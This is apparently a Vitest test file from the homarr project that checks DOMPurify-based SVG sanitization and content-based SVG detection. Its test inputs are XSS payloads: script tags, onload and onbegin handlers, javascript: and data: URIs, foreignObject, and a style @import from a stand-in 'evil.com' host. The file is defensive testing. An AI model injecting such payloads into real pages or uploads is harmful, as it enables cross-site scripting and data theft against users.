Files
homarr/apps/nextjs/src/app/api/user-medias/sanitize.spec.ts
T
Thomas Camlong e836d07d4c fix: content-based SVG detection, guard tests, document REDIS_CACHE_DB
- Detect SVG by content (magic bytes) in addition to MIME type to prevent
  sanitization bypass via mislabeled uploads
- Add guard test verifying DOMPurify actually strips dirty payloads
- Add looksLikeSvg detection test
- Document REDIS_CACHE_DB in .env.example
2026-08-07 21:22:25 +02:00

96 lines
3.6 KiB
TypeScript

import { describe, expect, it } from "vitest";
import { looksLikeSvg, purify, sanitizeSvg, svgSanitizeOptions } from "./svg-purify";
describe("SVG sanitization", () => {
it("strips script tags from SVG", () => {
const dirty = '<svg><script>alert("xss")</script><circle r="10"/></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("circle");
});
it("strips onload event handler", () => {
const dirty = '<svg onload="alert(1)"><rect width="100" height="100"/></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onload");
});
it("strips data URI in use href", () => {
const dirty = '<svg><use href="data:text/html,<script>alert(1)</script>"/></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("data:");
});
it("strips foreignObject", () => {
const dirty =
'<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("foreignObject");
});
it("preserves safe SVG content", () => {
const safe = '<svg viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/></svg>';
const clean = sanitizeSvg(safe);
expect(clean).toContain("circle");
expect(clean).toContain('fill="red"');
});
it("uses the same DOMPurify options as production", () => {
const dirty = '<svg><script>alert("xss")</script></svg>';
const wrapped = `<html><body>${dirty}</body></html>`;
expect(sanitizeSvg(dirty)).toBe(purify.sanitize(wrapped, svgSanitizeOptions));
});
it("strips javascript: protocol in href", () => {
const dirty = '<svg><a href="javascript:alert(1)"><text>click</text></a></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips xlink:href with javascript:", () => {
const dirty = '<svg><a xlink:href="javascript:alert(1)"><text>click</text></a></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips style with url() import", () => {
const dirty =
'<svg><style>@import url("https://evil.com/steal.css");</style><rect width="100" height="100"/></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("@import");
});
it("strips animate with onbegin handler", () => {
const dirty = '<svg><animate onbegin="alert(1)"/></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onbegin");
});
it("DOMPurify actually strips dirty payload (guard against no-op shim)", () => {
const dirty = '<svg><script>alert("xss")</script><rect width="1" height="1"/></svg>';
const clean = sanitizeSvg(dirty);
expect(clean).not.toBe(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("<rect");
});
it("looksLikeSvg detects SVG content regardless of MIME", () => {
const svg = new TextEncoder().encode('<svg viewBox="0 0 24 24"><path d="M0 0"/></svg>');
const png = new Uint8Array([0x89, 0x50, 0x4e, 0x47]);
expect(looksLikeSvg(svg)).toBe(true);
expect(looksLikeSvg(png)).toBe(false);
});
it("preserves well-formed SVG with self-closing children", () => {
const icon =
'<svg viewBox="0 0 24 24"><path d="M12 2L2 22h20Z" fill="currentColor"/><circle cx="12" cy="8" r="2"/></svg>';
const clean = sanitizeSvg(icon);
expect(clean).toContain("<path");
expect(clean).toContain("<circle");
expect(clean).toContain("</svg>");
expect(clean).not.toContain("<html");
expect(clean).not.toContain("<body");
});
});